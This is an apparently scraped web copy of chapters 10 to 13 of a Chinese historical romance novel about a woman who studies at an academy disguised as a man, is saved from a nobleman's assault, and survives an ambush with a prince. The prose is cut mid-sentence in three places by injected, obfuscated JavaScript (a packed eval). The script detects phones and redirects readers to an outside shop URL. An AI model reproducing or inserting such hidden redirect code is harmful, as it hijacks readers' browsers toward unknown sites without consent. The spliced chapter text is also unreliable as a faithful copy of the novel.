马车刚驶出宫门，周玉徽便风风火火地打马赶来，眼里闪着毫不掩饰的探究。 他不敢问萧珩，便是极其熟练的拉住旁边如冰雕的卫陵。 “卫木头，听说前两日修簧里出事那天，是那位顾学子误打误撞给皇叔喂了药，真的假的？” 卫陵面色肃穆，连眼珠都未转一下。 周玉徽见状，却越发肯定心中猜测。 “皇叔旧疾发作时那六亲不认的劲儿，我躲出八丈远都嫌近！他竟然能近身，还成功喂了药，最后还能全须全尾地走人？这简直是奇闻！” “果然，此子非同一般呐。” 他摩挲着下巴，啧啧称奇。 更何况，还有那玉蓉膏。 那般稀罕的疗伤圣品，他之前从母亲那儿软磨硬泡才得来小小一瓶，珍藏着舍不得用。 皇叔倒是出手阔绰。 回想此前种种，皇叔对顾学子的关照，早已非比寻常。 . 云麓书院的学子们再度离院，进行课业调研。 陆泽远熟门熟路，又一次将人带到了清风楼。 觥筹交错，人声鼎沸。 今日的清风楼比以往热闹。 陆泽远略侧过身，看向身旁的沈挽棠。 “顾兄，今日咱们来得正巧。你瞧那边临窗的雅间，”他眼神示意，“被众人簇拥在中央、摇着折扇的那位，便是当今的五皇子殿下。” 沈挽棠循着他的目光望去。 五皇子萧逸一身华贵紫色锦袍，面如冠玉。 一双桃花眼天然含笑，手中白玉折扇不紧不慢地摇着，姿态风流写意。 然而，若细看之下，那含笑的眼底偶尔会掠过一丝不易察觉的阴鸷。 陆泽远的话匣子打开了就收不住，凑近继续嘀咕。 “说起来，当今圣上几位皇子中，就属这位五殿下性子最是洒脱风趣，爱结交朋友，不像大殿下那般严肃，心思难测。” 沈挽棠心中记挂着要事，对皇子们的秘辛并无太多兴趣。 她敷衍点点头。 “陆兄果然见识广博。” 很快，她又道：“我有些气闷，想去廊下透透气，去去就回。” 陆泽远一把抓住她衣袖。 “别急啊顾兄，这热闹才刚开始呢。再说你一个人去多无趣，等我一起啊。我跟你说道说道别的事……” 他说得起劲，丝毫没有放人的意思。 沈挽棠不好强行挣脱，只得耐着性子又敷衍了几句，最后好不容易寻了更衣的借口，方才脱身。 她快步行至侧门廊下，光线转暗。 恰在此时，对面摇摇晃晃走来一行勾肩搭背的人，酒气熏天。 为首的那个锦衣华服，步履踉跄，正是定国公纨绔贺云峥。 架势生龙活虎，之前受过的鞭刑，显然是大好了。 贺云峥醉眼迷离，模糊间瞥见一道清瘦身影立于廊下昏光之中，肤色白皙，在昏暗中别有一番韵味。 他向来荤素不忌，男女通吃，当即含糊不清地嚷道：“前、前面那个小娘子……呃不，小公子！给、给本小爷站住！” 沈挽棠转身就走。 “嘿！你忽然跑什么？”贺云峥对身边小厮骂道，“你们都瞎了吗？没看见有个俏生生的小哥儿见了本公子就跑，快去给我拦下来！” 他言语污秽，侍从早习以为常。 沈挽棠被几人围住去路。 贺云峥踉跄地凑近，几乎将脸贴到她面前，眯着眼仔细打量。 浑浊酒气混着刺鼻熏香扑面而来，沈挽棠胃里一阵翻腾。 “啧，仔细瞧瞧，这小模样真挺俊……” “去，将人带回马车里去，本公子要与人好好叙谈叙谈。” 他嘿嘿笑着，伸手勾了下人的下巴。 清风楼外。 不远处，一辆通体玄黑的马车正缓缓驶过。 卫陵看清了车外的情形。 “王爷，是顾学子……他被贺云峥的人拦住了，看情形，是被强行带往定国公府的马车。” 车内一片沉寂。 骨节分明的大手撩开了车帘。 萧珩淡漠的凤眸扫过，恰见那道熟悉的清瘦身影，被两个侍从塞进了一辆装饰奢华的马车里。 卫陵斟酌着用词。 “王爷，贺云峥此人常流连于风月楼与南风馆，行事荒诞，百无禁忌。” 话已点到为止。 如此看来，这位顾学子只怕是要遭殃。 另一边，贺云峥瞧着被塞进马车里的人，越看越觉得眼熟。 他甩了甩昏沉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744538|189821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑袋，又醉醺醺地凑近了些，几乎要贴到对面人的脸上。 “小公子，我们之前是不是见过？” 沈挽棠偏头躲开。 “贺公子请自重！你认错人了！” 忽然，贺云峥像是被什么击中，眼睛猛地睁大。 这张清俊的容颜，渐渐与记忆中另一张明艳的脸庞重合起来。 “你、你是宁远侯的沈二姑娘？” 贺云峥猛地一拍大腿，酒都醒了几分。 “果然是你！沈挽棠！好好的侯府千金不当，竟敢穿成这副鬼样子在外招摇？” 这桩婚事，他本是十拿九稳，谁知那柳夫人竟敢反悔，推三阻四。他派人一打听，才知是这女人自己跑了。 真是天意！ 跑？到头来，还不是落到了他手里！ 身份被戳穿，贺云峥的言语更加不堪入耳，目光变得露骨。 他再次伸手，竟是直接朝着沈挽棠的衣领抓去。 他神色狰狞。 “既然不承认，那就让本世子亲自验明正身！看你还能嘴硬到几时！” 贺云峥刚动手，一柄剑忽地刺穿车帘。 没人看清卫陵是如何动作的，只听贺云峥发出一声杀猪般的惨叫，整个人已被一股巨力从马车内狠狠掼出，重重摔在坚硬的石板地上。 方才欲行不轨的右手被反拧到一个诡异的角度，显然是断了。 贺云峥痛得涕泪横流。 左手尚在徒劳地挣扎挥舞，试图摆脱钳制。 紧接着，左手腕被精准钳住。 卫陵面无表情地抬脚，朝着他膝弯处狠狠踏下。 又是一阵清晰的骨裂之声。 贺云峥如同被抽去骨头的癞皮狗，彻底瘫软在地，除了发出不成调的痛苦哀嚎，再动弹不得。 其余侍从更是躺倒一片，呻吟声此起彼伏。 卫陵挥剑挑开车帘，却猛地侧开视线。 萧珩的目光随之落入车厢内。 沈挽棠的双手被粗糙绳索缚住，衣襟在挣扎中被扯得凌乱，微敞的领口下，露出一段如玉的锁骨。 肩颈肌肤胜雪，在昏暗光线下泛着莹润的光泽，仿佛能感受到温腻的触感。 再往上，唇瓣染血般殷红，眼尾也泛着惊惶的红晕。 整个人透出惊心动魄的破碎感。 萧珩喉头滚动。 下一瞬，一只玄色披风扔来，遮盖了沈挽棠的视线。 她整个人被彻底盖住。 五皇子萧逸悠闲倚在窗前，饶有兴致的看着这一幕。 他收起了折扇，含笑桃花眼玩味更甚。 “有趣，真是有趣。皇叔平日里泰山崩于前而色不变，今日竟难得有动怒的时候。” 他低声轻笑，语调慵懒，“原来皇叔对书院中的学生，也如此关怀备至？” . 月色如银，潺潺漫入沉寂的寝殿。 灼热气息纠缠。 雪白肩头的点点红痕，宛若绽开的红梅，细腻触感让人反复留恋。 迷离眼眸氤氲水光，眼尾泛红。一声声带着怯意的求饶在耳畔萦绕，激得那气息愈发沉重。 他如同着了魔障，被牢牢缚住。 …… 凉风自窗隙灌入，吹散一室旖旎。 萧珩缓缓自榻上起身，雪白中衣松垮地垂落，勾勒出精悍的腰线，墨黑的长发未束，随意披散在身后，几缕贴上他沁出薄汗的颈侧。 方才的梦境，着实荒诞不经。 他目光掠过墙上悬挂的那幅画。 画风清逸，笔触却难掩内在的峥嵘。 萧珩似乎要把画看穿。 他垂眸，目光落在身下那片不堪的狼藉之上，俊美无俦的脸上瞬间沉郁如冰。 11. 第 11 章 五月初一，端午将至。 云麓书院。 门楣两侧早早悬上了艾草，空气里浮动着粽叶的清香。 沈挽棠有片刻的恍惚。 在青州时，外祖父总会提前几日，亲手为她包上几只小巧精致的蜜枣粽，看着她吃完，再用五色彩丝，一边念叨着辟兵缯、辟兵缯，一边在她纤细的手腕上绕成一道鲜艳灵动的长命缕。 那彩绳系住的，不仅是祈福。 等书院循例放假，她正好能名正言顺地返回青州。 这次，她已与迟叔联络妥当，要将霜降一并带离京城。 思及此，连日来积压在心头的阴云被暖风拂开一角，透进些许光亮。 “顾兄，你可听说了？”陆泽远凑过来，“定国公被陛下狠狠训斥了！” 沈挽棠正整理书卷的手微微一顿。 “是这两日的事？” 定国公府树大根深，贺云峥往日那般跋扈，倚仗的便是其父执掌京营的威势，也难怪柳夫人当初要极力巴结。 可如今竟落得这般下场。 “正是。说是纵容世子行为不端，有辱门风，陛下龙颜大怒，申斥之余，直接削去了定国公京营统领的实职，贬去看守皇陵了。” 陆泽远声音压得更低。 “这还不止，贺云峥本人已被革去世子封号，押入京兆府候审，听说流放三千里是免不了了。” 他顿了顿，又想起什么：“说起来，好像这些日子都没见宴山先生。” 沈挽棠忽然想起那件洗净的玄色披风。 修簧里，绿竹青翠。 沈挽棠抱着洗净的包裹，却在竹径尽头被周玉徽拦下了去路。 “顾学子，早啊。” 周玉徽笑吟吟地招呼。 这位长公主独子、军中校尉，在京城亦是声名赫赫的人物，此刻语气出奇地温和。 沈挽棠颔首。 “周世子早，我前来还先生的衣袍。” 周玉徽的目光落在玄色披风上，不由得愣了一瞬。 皇叔的洁癖，他是最清楚不过的。 莫说是旁人，便是他们这些亲近子侄，若有丝毫污秽沾染其衣袍，衣袍也会被立即焚毁殆尽。 可眼前人…… 周玉徽眼珠一转，摸摸下巴，脸上闪过一丝促狭：“既然你是来寻先生的，那便随我来吧。” 他走了两步又回头，意味深长的笑了笑，“放心，顾学子，这于你而言，定是桩旁人求都求不来的好差事。” 沈挽棠尚未完全回过神，人已被引至一辆马车前。 萧珩端坐其中。 他今日穿了一身素白常服，更显清冷疏离，宛如山巅积雪，与那日压迫感十足的玄色截然不同。 在书院里，似乎确实少见先生身着深色。 她稳住心神：“学生顾时，见过先生。” 萧珩的目光掠过她的颈间。 之前被剑锋划破的伤痕，在用过玉容膏后，已寻不见半点痕迹。 这般雪白纤细的脖颈，合该完美无瑕。 沈挽棠想为那日的解围道谢，话语在唇齿间辗转几回，却始终未能出口。 车厢内陷入一种微妙的沉默。 萧珩忽然开口。 “可知此行去往何处，所为何事？” “学子不知。” 她下意识回答，过于秀气的脸上露出些许错愕，长睫因这突如其来的问话而轻轻颤动。 萧珩凤眸微闪。 沈挽棠稳了稳心神：“回先生的话，周世子只引我前来，说是紧要差事，学生并不知具体。” 马车外观朴素，厚重的帘幕将外界窥探彻底隔绝。 只怕，此行秘而不宣。 马车正向南行，若一切顺利，或许她可以趁机脱身，转道青州，赶在端午之前与迟叔他们会合。 “你上次所绘的水车图纸，颇有新意。” 萧珩的声音将她从思绪中拉回。 沈挽棠谨慎应答：“学生翻阅了一些古籍，自行推演所得。具体实效，还需实地验证。” “哦，是哪些古籍？” 萧珩目光随意地落在她脸上。 沈挽棠含糊道：“是一些地方志与工匠手札的残本，名目繁杂，学生一时也记不全了。” 萧珩未再追问。 马车内里陈设雅致。 萧珩执起小几上的玉壶，斟了一杯微温的茶，推至她面前。 沈挽棠微怔，依言双手捧起茶杯。 温热的茶水入喉，恰到好处地滋润了她有些干涩的唇瓣。 纷乱心绪逐渐平复下来。 镜面般澄澈的茶汤，倒映出沉静的眉眼。 只是那被茶水浸润过的唇，泛着水光，愈发显得饱满柔软，上面似乎还残留着因紧张而被无意识轻咬过的浅浅痕迹。 萧珩不动声色地移开视线，端起自己那杯已然微凉的茶。 . 暮春向夏，湖畔柳色已由初春的嫩黄转为深碧。 不远处，几株石榴树正燃着灼灼红花，与端午将至的时令悄然呼应。 马车停稳，周玉徽率先从后车蹦跳下来。 “先生，顾学子，这一路可闷坏了吧？瞧瞧这地方怎么样，山明水秀的，这可是我特意挑的好地方。” 他话音未落，又朝向自己那辆马车。 “窈娘，你也下来透透气，活动活动筋骨。” 沈挽棠闻声望去，只见那马车上又娉娉婷婷下来一人。 女子红衣似火，身段婀娜，行走间风情摇曳。 不是清风楼那位头牌窈娘，还能是谁？ 沈挽棠心头莫名一虚。 而窈娘下车站定，目光便似有若无地扫了过来，与沈挽棠的视线在空中相遇。 沈挽棠勉强牵起一丝笑意。 窈娘眼波流转，唇边噙着抹笑，视线在沈挽棠过于纤细的腰身上不着痕迹地打了个转。 这一切，恰好落入了萧珩眼中。 看着那两人之间无声的对视，萧珩心底升起一股陌生而躁郁的情绪，毫无缘由，却来势汹汹。 沈挽棠的话语犹在耳边。 情非得已，情难自控。 好一个情难自控。 他面色沉静，径直朝湖畔另一侧人迹较少处走去。 众人虽感疑惑，却无人敢出声询问。 却见他刚走出几步，忽地停下，头也未回，声音清冷地唤道：“顾时。” 这声呼唤来得突兀，带着一种不容置疑的命令意味。 沈挽棠心头一跳，不及细想，已下意识抬步跟了上去。 留在原地的众人面面相觑，觉得王爷此举有些反常，可具体怪在何处，又说不上来。 卫陵抱着剑，沉默地倚在车辕旁，目光如鹰隼般追随着那一前一后走向柳林深处的身影。 他看向正得意洋洋的周玉徽。 “你自作主张叫顾时跟来，若影响了王爷的计划，该当何罪？” 上一个自作聪明并擅作主张的人，如今坟头的草，已三尺高了。 周玉徽浑不在意地懒懒一笑. “卫木头，这你就不懂了吧？我这不是自作聪明，我这是……做了有人心里想做，却没亲自出手的事罢了。” 他假意咳嗽两声，拔高音量。 “顾学子通晓治水工造，性子又沉静稳妥，此去勘察水情， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744539|189821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正是需要他出谋划策的时候，乃是眼下最合适的人选！” 卫陵面无表情地看着他，冷峻的脸上看不出是信是疑。 周玉徽撇了撇嘴。 “得，跟你这块木头疙瘩说不通！” 周玉徽越想越觉得自己的安排天衣无缝，得意地晃了晃脑袋。 他凑向窈娘，揽过她的肩头。 “走走走，美人儿，别管他们那些正经事了，陪小爷我赏景去！” . 山崖之下，层林叠翠。 初夏的阳光为整片山谷镀上温暖的金边。 微风拂过，撩起沈挽棠颊边的碎发与青玉色的发带，她看得出神，却听身侧传来萧珩沉静的声音。 “看向那边。” 她顺着他示意的方向极目远眺。 在天地相接之处，原本应是村落与良田的地方，此刻却呈现出一片异常浑浊的土黄色。 那片死寂的泽国中，甚至隐约可见大片镜面似的水光。 那是江州水患肆虐后留下的疮痍。 美景与灾域，对比之下更显惊心。 江河一旦震怒，再美的景致也会顷刻间化为乌有。 在梦中看到灾患，与亲眼见到它如何碾碎民生，终究是不同的。 沈挽棠胸口一阵滞涩发闷。 纸上得来终觉浅，书卷上那些冰冷的论述背后，是何等触目惊心的现实。 萧珩神色平静。 他见过太多沙场生死，但那往往干脆利落。 而水旱天灾，却如同钝刀子割肉，缓慢而持久地折磨着活在其中的人，其残酷程度，更甚战场。 他言简意赅：“水患之成，非一日之寒。上游雨势汇集，地势渐缓，河道却未相应开阔。” 犹如巨蟒闯入窄巷，除了泛滥横流，别无他路。 沈挽棠凝神思索，指向河道下游一处拐弯。 “先生所言极是。学生推断，彼处河道不仅狭窄，且拐弯过于急促险峻，水流至此必然相互冲击，壅塞不前，最终导致漫溢成灾。” 她顿了顿：“效仿古法，于合适处开挖引水渠，或还能淤出新田。” 萧珩转眸看她：“你之所想，非旦夕可成。” 分流引水，以疏代堵。 这想法与他之前的某些考量不谋而合，甚至更为系统大胆。 沈挽棠垂下眼帘：“是，学生明白。古书虽载，但成功者寥寥，所需人力物力堪称海量……” 她轻轻摇头，也觉得这想法过于理想化了。 然而，萧珩的目光却再次投向远方。 “事在人为。” 短短四字，平静却重若千钧。 沈挽棠蓦然抬头看他。 夕阳的余晖恰好勾勒出他棱角分明的侧脸，将他周身清冷孤绝的气质染上了层暖色。 恰一阵山风掠过，发丝拂过脸颊，带来一丝微痒。 沈挽棠猛地惊觉两人站得极近，近得能嗅到他身上的清冽气息。 沈挽棠心下一慌，向旁退开半步。 梦中那些令人面红耳赤的亲密片段，不合时宜地猛地闪现。 很快，一股热意将她白玉般的耳垂染得绯红。 . 林木渐深，马车继续沿着山路前行。 一直闭目养神的萧珩忽然睁开了凤眸。 几乎同时，外面传来了卫陵压低的声音：“先生，有情况。” 车外气氛瞬间紧绷。 沈挽棠也察觉到了异样。 路旁密林的泥土上，隐约可见几道深深的车辙印，痕迹新鲜，并非寻常农家牛车或运货马车所能留下。 不远处，一群飞鸟惊惶地冲天而起。 12. 第 12 章 车外风声萧瑟，马车内却一片沉静。 萧珩端坐其中，脸上未见丝毫意外之色，更像是静待猎物踏入罗网的猎人。 他神色沉静，修长指节在紫檀小几上极轻地一叩。 马车外的卫陵立刻心领神会。 他们果然来了，而且比王爷预料的更为急切。 江城水患背后之人，已然坐不住了。 这不是水患衍生出的寻常流寇，而是一场精心策划的伏击。目的便是要阻挠王爷深入调查，更甚是想将他永远留在这荒郊野岭。 卫陵想起离京前王爷的话。 “引蛇出洞，总要给它们咬钩的机会。” 如今，鱼儿终于按捺不住，露出了水面。 . 利箭破空之声，骤然从四面八方尖啸而至。 “保护先生！” 卫陵的厉喝与兵刃交击之声瞬间炸响，打破了山林的死寂。 马车被密集的箭矢撞得砰砰作响，被迫停下。 萧珩稳坐如松，神色未见半分涟漪。 沈挽棠瞧着他镇定的侧影，心中那点慌乱竟也奇异地平息下去。 沈挽棠掀开车帘一角，迅速扫视。 不能再待在车里，这简直是活靶子。 侍卫们正与数十名出手狠辣的黑衣人死斗，对方人数众多，招招式式皆奔着要害。 已有几人突破了防线，直扑马车而来。 “先生，下车！” 沈挽棠当机立断，声音因紧张而微哑。 她看准了侧后方一处怪石林立、草木茂盛的斜坡。那里易于躲藏，更能限制对方的进攻。 萧珩垂眸，看着她拽住自己衣袖的手，从善如流。 一名黑衣人挥刀砍来，沈挽棠手腕翻转，竟从袖中撒出一把不知何时备下的石灰粉。 白粉弥漫，虽未伤敌，却成功迷了对方视线。 那黑衣人正待怒吼，一枚石子已带着刺耳的破空声疾射而至。 石子如强弩发出的铁丸，携着千钧之力，噗地一声精准地贯入其咽喉。 他的嘶吼被瞬间截断，可怕的冲击力更带得他整个人向后踉跄两步，方才轰然倒地，再无生机。 沈挽棠强压心惊。 “先生，他们主力在东南，西北防守薄弱，是生路！” 东南方向被敌人死死缠住，西北侧反而因地形复杂，只有零星敌人。 萧珩深深看了她一眼。 然而，敌人数量实在太多。 一名弓手悄无声息地在密林中瞄准，冷箭直取萧珩后心。 “先生小心！” 沈挽棠瞳孔骤缩，却没有鲁莽地用身体去挡。 她将怀中坚硬的砚台猛地掷向身旁巨石。 “铿——” 金石相击的巨响在山林中炸开。 放冷箭杀手的动作下意识地偏了半分。 瞬息之间，萧珩非但没有躲避，反而就着巨响制造的混乱，手臂骤然收紧，将她彻底圈进怀中，以一种绝对保护的姿态，带着她主动向陡坡之下坠去。 天旋地转，耳边风声呼啸。 无论角度如何变换，萧珩的手臂始终如铁箍般牢牢锁住她的头颈，将她紧紧按在自己胸前。 所有的喊杀声、兵刃声迅速远去。 在极致的惊恐和颠簸中，沈挽棠唯一能感受到的，便是隔绝了所有危险的坚实胸膛，以及耳边沉稳有力的心跳声。 . 洞内光线昏昧。 沈挽棠从短暂的晕眩中醒来，发觉自己身处一个被藤蔓半掩的浅洞中。 萧珩已点亮了火折子，暖光驱散洞穴的阴冷与黑暗。 “醒了。” 狭小空间里，萧珩的嗓音显得格外低沉。 沈挽棠坐起身，发现自己衣衫虽有划破，但皮肉无损。想起坠落时，是先生始终将她牢牢护在怀中，立刻抬眼去寻他。 等看清眼前景象，她呼吸一滞。 他肩头月白色的衣料已被暗红血迹彻底浸透，黏连在伤口上，深浓发黑。 胸前衣襟也被划开了几道口子，血丝渗出。 在跳跃的火光下，显得格外狰狞刺目。 “先生，您受伤了！” 沈挽棠快步上前，声音发颤。 这伤是因护着她才受的。 “无妨。” 萧珩淡道。 伤口仍在缓慢渗血，不能置之不理。 她稳住心神：“先生，让学生帮您包扎。” 萧珩看向她。 片刻沉默，他眼底深邃，似有暗流涌动。 随后，修长的手指抬起，解开衣带，将上衣缓缓褪至腰间。 火光霎时清晰地勾勒出他精壮的上身，肩宽腰窄，肌肉壁垒分明。 浑身线条流畅，充满强悍的力量感。 右肩处一道寸许长的伤口皮肉翻卷，暗红色血液正不断从中渗出，蜿蜒流下，与胸前几道血痕交织在一起。 沈挽棠轻吸口气，低头撕下自己柔软内衫里衬。 荒郊野外，洁净棉布是最佳的包扎材料。 此刻也顾不得什么礼仪小节。 她凑近，用布条小心翼翼地清理伤口周围的血污，动作算不上娴熟，却异常专注沉稳，生怕弄疼他半分。 昏暗光线下，她一缕青丝散落颊边，随着细微的呼吸轻轻颤动。 一股极淡的清甜香气，侵入他的感官。 萧珩忽然开口，声音近在咫尺。 “对于方才的刺杀，你倒是比我想的要镇定得多。” “有先生在，学生心里便觉得安稳。” 沈挽棠手下动作未停。 然而，她为他按压止血的指尖，分明在极力克制，仍泄露出一丝不易察觉的轻颤。 萧珩眼底浮现一抹笑意。 包扎完毕，那支火折子光芒急剧闪烁了几下，竟要熄灭。 洞内瞬间暗下大半，几乎难以视物。 一种源于旧日阴影的、近乎本能的焦躁感，悄然攫住了萧珩的心口。 他想去取备用的火折子，却摸了个空，大抵是在坠落时遗失了。 “先生，学生这里有。” 沈挽棠急忙取出一个用油纸包裹得严严实实的火折子。 她递过去。 萧珩接过，指腹能感到她残留的体温。 他试图引燃，许是引信在坠落中受潮，又或是心绪的紊乱作祟，手竟几不可察地一颤，火折子竟从指尖滑落。 一只纤细的手更快地，稳稳地接住了它。 沈挽棠没有多问，甚至没有抬眼。 她只是就着微弱光影，俯身靠近，专注地、一次又一次地尝试吹亮火折。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744540|189821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 温热而湿润的气息，随着她用力的动作，轻轻拂过他搁在膝上的手背。 触感细微，却带着燎原之势，一路烫进血脉深处。 终于，一小簇橘黄色的火苗顽强地跳跃起来，驱散了狭洞内浓重的黑暗，也映亮了她近在咫尺的脸。 她鼻尖上因方才用力而渗出了细密晶莹的汗珠，一双杏眼在跃动的火光下，显得格外清澈明亮。 沈挽棠将点燃的火折子递还给他，指尖再次擦过他的指腹。 温软而短暂的一触。 萧珩抬眸，她亦恰好抬眼。 瞬间，四目相对。 橘黄色的火苗在狭小洞穴中摇曳。 两人的身影投在石壁上，明明灭灭。 萧珩缓缓转动着手中的火折子，跳跃的火光在深不见底的凤眸中明灭不定。 他的目光，沉沉落在沈挽棠低垂的侧脸上。 “你为何会随身带着这个？” 他的声音平静无波，听不出喜怒。 沈挽棠指尖几不可察地蜷缩了一下。 “山中夜路难行，备上一支火折，总是稳妥些。” “是吗？” 萧珩喉间滚出一声极轻的哼笑。 “你知道，我问的不是这个。” 那股目光如有千钧，沉沉压在她的发顶，不容她半分闪躲。 火苗燃烧的噼啪声响动。 沈挽棠终是抬起头。 对面之人凤眸深邃，眼尾微扬。 “学生只是觉得，先生似乎……不喜处在黑暗之中。” 她的话语意思明了。 沈挽棠想起几次去他书房请教时的情景。 即便窗外天光正亮，那间陈设清雅书房却处处燃着数盏长明灯烛，驱散所有可能存在的阴影角落。 暖黄光晕与冷硬玉石形成了微妙的反差。 那时她便隐约觉得，先生似乎对阴暗有着超乎寻常的排斥。 卫陵身为萧珩最信任的臂膀，杀伐决断，心细如发。 但他恪守臣子本分，从不敢越雷池半步，更遑论窥探如此私密的习惯。 即便是周玉徽，对此也一无所知。 萧珩此人，掌控欲极强，习惯于洞察他人，而自身则密不透风。 外人触碰他的禁区，引来的是直接冷酷的杀机。 可沈挽棠却细微的察觉到了。 一种陌生而复杂的悸动在心头翻涌，萧珩说不清那是什么。 那双凤眸一点点擒上笑意，宛若寒冰消融。 “你倒是……观察入微。” . 沈挽棠抱膝坐在火堆旁，侧颜清丽。 她抬手，用一根枯枝轻轻拨弄了一下柴火，不知触动了哪处关窍，那火势呼地一声，瞬间蹿高了些许。 火光映得她眼眸愈发亮晶晶的。 沈挽棠望着旺盛的火苗，唇角漾开浅笑，语气里也带上了几分怀念。 “我在青州时，祖父便是这样教我生火的。他说，人心要暖，火也要活得旺才行。” “他还说，我母亲小时候最喜欢在冬日里这样守着火盆，听他讲那些山川异志，听着听着，便会靠在他膝上安稳睡去……” 话语声戛然而止。 沈挽棠像是突然被什么扼住了喉咙，后续所有的温情与追忆，都被硬生生截断。 13. 第 13 章 永嘉二年，盛夏。 六岁的沈挽棠，已是宁远侯府上下称赞的玉雪娃娃。 她生得粉雕玉琢，一双杏眼澄澈如水，总穿着最得体的绫罗裙衫，发顶扎着两个一丝不乱的圆髻。 任谁见了，都要赞一句侯门毓秀，教养得宜。 她循着既定的轨迹，活在众人的期许与目光之中。 这是母亲的心愿。 她最常做的事，便是在那间窗明几净却空旷得惊人的书房里，挺直小小的背脊，一动不动地端坐整个下午。 肉乎乎的小手费力地指着《女诫》、《千字文》上密密麻麻的墨字，一字一字地默读背诵。 夕阳总是将她的影子在地砖上拉得很长很长。 每当门外响起母亲特有的脚步声，她总会立刻扬起乖巧笑脸，用尚带奶气的稚嫩嗓音，清晰流畅地背诵出反复默念的段落。 她黑葡萄似的眼睛里，盛满了小心翼翼的期盼。 母亲会给上一句尚可，或是一个极浅的颔首。 她做到了。 见了任何长辈，她都会依足规矩，声音软糯地问安。 她是整个宁远侯府公认的的小淑女。 可无人知晓，她其实很想去爬树掏鸟窝，也想在滂沱大雨里肆意踩踏水洼。 可是她不能。 她用无数条冰冷的规矩，将这些紧紧锁在心底最深的角落。 深夜无人时，她会从枕下摸出外祖父从青州寄来的山水画帖，借着窗外漏进的月光，用指尖一遍遍临摹恣意洒脱的笔触。 笔墨间的自由天地，是她心底最隐秘滚烫的渴望。 她的所有努力，都是为了得到母亲的喜欢。 纵使是一点点，也足够了。 这日，她听说乔映月要来，便早早带着霜降和惊蛰，躲到了花园里。 乔映月的母亲柳氏与她的母亲交好，乔映月是侯府的常客。 可沈挽棠不喜欢她，很不喜欢。 乔映月还是找到了她，并熟门熟路地要去她的房间。 因为乔映月每次来，都要拿她的东西，所以沈挽棠早早将心爱之物都藏了起来。 可乔映月仍不死心，胡乱翻着她妆匣里的珠花。 沈挽棠看着被随意拨弄的物件，心头一紧，可什么也没做。 “棠姐姐，你身后这是什么呀？” 可乔映月眼睛太尖，看到了藏在身后矮架上的宝贝。 那是一盏极其精巧的兔子花灯，白绒纸糊的身子，红宝石嵌的眼睛，是去年冬天，舅舅千里迢迢从青州带来给她的生辰礼。 她珍爱非常，平日连碰都舍不得用力碰。 沈挽棠下意识地用整个小身子挡住那灯。 “是……是兔子灯。” “真好看！拿来给我玩玩！” 乔映月伸手就要。 一旁的柳氏见状，假意轻斥：“月儿，不可无礼。” 可语气里，分明听不出多少责怪。 乔映月人前胆子极大，撇撇嘴，摇晃着柳氏的手臂：“娘亲，我就看看嘛！棠姐姐最大方了，肯定会借给我的，对不对？” 她说着，朝沈挽棠投去一个得意的笑。 沈挽棠攥紧了小手，她抬起头，求助似的望向自己的母亲。 平日总是乖巧安静的杏眼，此刻盛满了无声的哀恳。 她会更努力地读书，会更规矩地行礼，只要母亲能开口，把她最珍爱的宝贝留下。 母亲的目光在她脸上停留片刻，淡淡开口：“不过是一盏灯罢了。棠儿，你素来懂事，让给妹妹玩吧。” 沈挽棠觉得心口像被什么东西狠狠捶了一下，闷得发疼，疼得她几乎喘不过气。 她身体僵在原地，小小的肩膀微微发抖。 良久，她才缓过神，在乔映月得意的目光下，慢慢地、慢慢地低下头，松开攥得指节发白的小手。 乔映月一把将花灯抢过，银铃般的笑声格外刺耳。 依旧是这样。 不论是什么东西，只要别人想要。 沈挽棠再也忍不住，转身飞快地跑出了房间，一路跑到花园最僻静无人的角落。 她躲在廊柱后面，小小的身子蜷成一团，眼泪像断了线的珠子，大颗大颗地砸落在青石板地上。 母亲什么都不知道。 不知道这是舅舅踏过千山万水才送来的心意，不知道她每晚都要看上好一会儿才能安心入睡，不知道这盏灯照亮过她多少个无人知晓的梦。 而父亲，不怎么理会母亲，更不会理会她这点微不足道的委屈。 冰凉的丝绸衣袖很快被温热泪水浸湿。 她用力地用袖子擦着眼睛，想把那不争气的眼泪擦干，可视线一次次模糊，眼泪如何都擦不完。 她不想哭的，母亲说不可以失态。 可是心口太疼了，疼得她停不下来。 她曾偷偷问过大姐姐，为何娘亲总是对别人那样和颜悦色，却独独不会考虑她的感受。 大姐姐也只是温柔地摸摸她的头，轻轻叹了口气，什么都没有说。 她真的好想，成为说书先生口中那种快意恩仇的大侠，武功高强，能把讨厌的乔映月打得满地找牙，再也不敢抢她的东西！ 府中下人们都说娘亲心善宽厚，是菩萨心肠。 可这份宽厚，却似乎独独对她苛责，化作无数冰冷的目光与规矩，将她牢牢困在逼仄的天地里，动弹不得，连哭泣都不能发出声音。 . 